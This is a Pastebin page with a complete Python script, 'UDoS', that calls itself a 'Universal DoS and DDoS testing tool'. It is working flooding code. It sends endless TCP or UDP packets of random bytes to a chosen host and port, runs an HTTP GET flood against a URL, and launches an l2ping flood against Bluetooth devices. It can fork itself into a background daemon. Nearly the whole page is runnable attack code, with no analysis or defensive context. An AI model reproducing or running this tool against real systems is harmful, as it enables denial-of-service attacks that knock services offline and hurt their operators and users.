Advertisement
TP2K1

Udos.py [PYTHON]

Jun 19th, 2015
706
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.37 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. #############################################################################
  4. ## ##
  5. ## Copyleft by WebNuLL < webnull.www at gmail dot com > ##
  6. ## ##
  7. ## This program is free software; you can redistribute it and/or modify it ##
  8. ## under the terms of the GNU General Public License version 3 as ##
  9. ## published by the Free Software Foundation; version 3. ##
  10. ## ##
  11. ## This program is distributed in the hope that it will be useful, but ##
  12. ## WITHOUT ANY WARRANTY; without even the implied warranty of ##
  13. ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ##
  14. ## General Public License for more details. ##
  15. ## ##
  16. #############################################################################
  17.  
  18. ## thanks to Franck TABARY <franck.tab atat gmail thedot com> for daemonize function, but if you are releasing code on GPL
  19. ## you cant use "Copyrght" in script
  20.  
  21. import re
  22. import socket
  23. import getopt
  24. import sys,os,time,random,urllib
  25.  
  26. if sys.version_info[0] >= 3:
  27. import http.client as httplib
  28. from urllib.parse import urlparse
  29. else:
  30. import httplib
  31. from urlparse import urlparse
  32.  
  33.  
  34.  
  35. #################################
  36. ##### Define some constants #####
  37. #################################
  38.  
  39. # options
  40. debugMode=False
  41. consoleMode=False
  42. useProtocol="TCP"
  43. target=""
  44. port=80
  45. bluetoothMode = None
  46. bytes_len = 256
  47.  
  48. ########################################################################
  49. ##### daemonize: if -d param not specified, daemonize this program #####
  50. ########################################################################
  51.  
  52. def daemonize (stdin='/dev/null', stdout='/dev/null', stderr='/dev/null'):
  53. '''This forks the current process into a daemon.
  54. The stdin, stdout, and stderr arguments are file names that
  55. will be opened and be used to replace the standard file descriptors
  56. in sys.stdin, sys.stdout, and sys.stderr.
  57. These arguments are optional and default to /dev/null.
  58. Note that stderr is opened unbuffered, so
  59. if it shares a file with stdout then interleaved output
  60. may not appear in the order that you expect.
  61. '''
  62.  
  63. # Do first fork.
  64. try:
  65. pid = os.fork()
  66. if pid > 0:
  67. sys.exit(0) # Exit first parent.
  68. except OSError as e:
  69. sys.stderr.write ("fork #1 failed: (%d) %s\n" % (e.errno, e.strerror) )
  70. sys.exit(1)
  71.  
  72. # Decouple from parent environment.
  73. os.chdir("/")
  74. os.umask(0)
  75. os.setsid()
  76.  
  77. # Do second fork.
  78. try:
  79. pid = os.fork()
  80. if pid > 0:
  81. sys.exit(0) # Exit second parent.
  82. except OSError as e:
  83. sys.stderr.write ("fork #2 failed: (%d) %s\n" % (e.errno, e.strerror) )
  84. sys.exit(1)
  85.  
  86. # Now I am a daemon!
  87.  
  88. # Redirect standard file descriptors.
  89. si = open(stdin, 'r')
  90. so = open(stdout, 'a+')
  91. se = open(stderr, 'a+', 0)
  92. os.dup2(si.fileno(), sys.stdin.fileno())
  93. os.dup2(so.fileno(), sys.stdout.fileno())
  94. os.dup2(se.fileno(), sys.stderr.fileno())
  95.  
  96. ############################
  97. ##### eth/wlan attacks #####
  98. ############################
  99.  
  100. def http_attack():
  101. ''' Simple HTTP attacks '''
  102. requests_sent = 0
  103. timeouts = 0
  104. o = urlparse(target)
  105. print("Starting HTTP GET flood on \""+o.netloc+":"+str(port)+o.path+"\"...")
  106.  
  107. try:
  108. while True:
  109. try:
  110. connection = httplib.HTTPConnection(o.netloc+":"+str(port), timeout=2)
  111. connection.request("GET", o.path)
  112. requests_sent = requests_sent + 1
  113. except Exception as err:
  114. if "timed out" in err:
  115. timeouts = timeouts + 1
  116.  
  117. except KeyboardInterrupt:
  118. print("Info: Maked "+str(requests_sent)+" requests.\nTimeouts: "+str(timeouts))
  119.  
  120. def eth_attack():
  121. ''' Ethernet/Wireless attack function '''
  122. global log, target, debugMode, useProtocol, port
  123.  
  124. if useProtocol == "HTTP":
  125. http_attack()
  126. return
  127.  
  128. # number of packets for summary
  129. packets_sent = 0
  130.  
  131. # TCP flood
  132. if useProtocol == "TCP":
  133. sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  134. else: # UDP flood
  135. sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) # UDP
  136.  
  137. bytes=random._urandom(bytes_len)
  138. addr=(target,port)
  139.  
  140. try:
  141. sock.connect(addr)
  142. except socket.error as e:
  143. print("Error: Cannot connect to destination, "+str(e))
  144. exit(0)
  145.  
  146. sock.settimeout(None)
  147.  
  148. try:
  149. while True:
  150. try:
  151. sock.sendto(bytes,(target,port))
  152. packets_sent=packets_sent+1
  153. except socket.error:
  154. if debugMode == True:
  155. print("Reconnecting: ip="+str(target)+", port="+str(port)+", packets_sent="+str(packets_sent)) # propably dropped by firewall
  156.  
  157. try:
  158. sock.close()
  159. sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  160. sock.connect(addr)
  161. except socket.error:
  162. continue
  163.  
  164. except KeyboardInterrupt:
  165. print("Info: Sent "+str(packets_sent)+" packets.")
  166.  
  167. def bt_attack():
  168. global target, port
  169.  
  170. # initialize socket
  171. #sock=bluetooth.BluetoothSocket( bluetooth.RFCOMM )
  172.  
  173. # number of packets for summary
  174. #packets_sent = 0
  175.  
  176. # connect
  177. #try:
  178. # try:
  179. # sock.connect((target, port))
  180. # except bluetooth.btcommon.BluetoothError as (bterror):
  181. # print "Error: Cannot connect using RFC to "+target+" on port "+str(port)+", "+str(bterror[0])+""
  182. # exit(0)
  183.  
  184.  
  185. # while True:
  186. # packets_sent=packets_sent+1
  187.  
  188. # send random data
  189. # sock.send(str(random._urandom(bytes_len)))
  190. #except KeyboardInterrupt:
  191. # print "Info: Sent "+str(packets_sent)+" packets."
  192. try:
  193. if not os.path.isfile("/usr/bin/l2ping"):
  194. print("Cannot find /usr/bin/l2ping, please install l2ping to use this feature.")
  195. sys.exit(0)
  196.  
  197. sto = os.system ("/usr/bin/l2ping -f "+target+" -s "+str(bytes_len))
  198. except KeyboardInterrupt:
  199. sys.exit(0)
  200.  
  201.  
  202. ##########################################
  203. ##### printUsage: display short help #####
  204. ##########################################
  205.  
  206. def printUsage():
  207. ''' Prints program usage '''
  208.  
  209. print("UDoS for GNU/Linux - Universal DoS and DDoS testing tool")
  210. print("Supports attacks: TCP/UDP flood, HTTP flood")
  211. print("")
  212. print("Usage: udos [option] [long GNU option]")
  213. print("")
  214. print("Valid options:")
  215. print(" -h, --help : display this help")
  216. print(" -f, --fork : fork to background")
  217. print(" -d, --debug : switch to debug log level")
  218. print(" -s, --socket : use TCP or UDP connection over ethernet/wireless, default TCP, available TCP, UDP, RFC (bluetooth), HTTP over ethernet")
  219. print(" -t, --target : target adress (bluetooth mac or ip adress over ethernet/wireless)")
  220. print(" -p, --port : destination port")
  221. print(" -b, --bytes : number of bytes to send in one packet")
  222. print("")
  223.  
  224. try:
  225. opts, args = getopt.getopt(sys.argv[1:], 'hcds:b:t:p:b:', ['console','debug','help', 'socket=', 'target=', 'port=', 'bytes='])
  226. except getopt.error as msg:
  227. print(msg)
  228. print('UDoS for GNU/Linux - Universal DoS and DDoS testing tool')
  229. sys.exit(2)
  230.  
  231. # process options
  232. for o, a in opts:
  233. if o in ('-h', '--help'):
  234. printUsage()
  235. exit(2)
  236. if o in ('-d', '--debug'):
  237. debugMode=True
  238. if o in ('-f', '--fork'):
  239. daemonize()
  240. if o in ('-t', '--target'):
  241. target = a
  242. if o in ('-p', '--port'):
  243. if debugMode == True:
  244. print("Info: Using port "+str(a))
  245. try:
  246. port = int(a)
  247. except ValueError:
  248. print("Error: Port value is not an integer")
  249. exit(0)
  250.  
  251. if o in ('-b', '--bytes'):
  252. if debugMode == True:
  253. print("Info: Will be sending "+str(a)+"b packets")
  254. try:
  255. bytes_len = int(a)
  256. except ValueError:
  257. print("Error: Bytes length must be numeratic")
  258. exit(0)
  259.  
  260. if o in ('-s', '--socket'):
  261. bluetoothMode = False
  262.  
  263. if a == "tcp" or a == "TCP":
  264. useProtocol = "TCP"
  265. elif a == "udp" or a == "UDP":
  266. useProtocol = "UDP"
  267. elif a == "RFC" or a == "rfc" or a == "BT" or a == "bt" or a == "bluetooth" or a == "BLUETOOTH":
  268. useProtocol = "RFC"
  269. bluetoothMode = True
  270. elif a == "http" or a == "www" or a == "HTTP" or a == "WWW":
  271. useProtocol = "HTTP"
  272.  
  273. if debugMode == True:
  274. print("Info: Socket type is "+useProtocol)
  275.  
  276. if bluetoothMode == False:
  277. eth_attack()
  278. elif bluetoothMode == None:
  279. print('UDoS for GNU/Linux - Universal DoS and DDoS testing tool, use --help for usage')
  280. else:
  281. #import bluetooth
  282. bt_attack()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement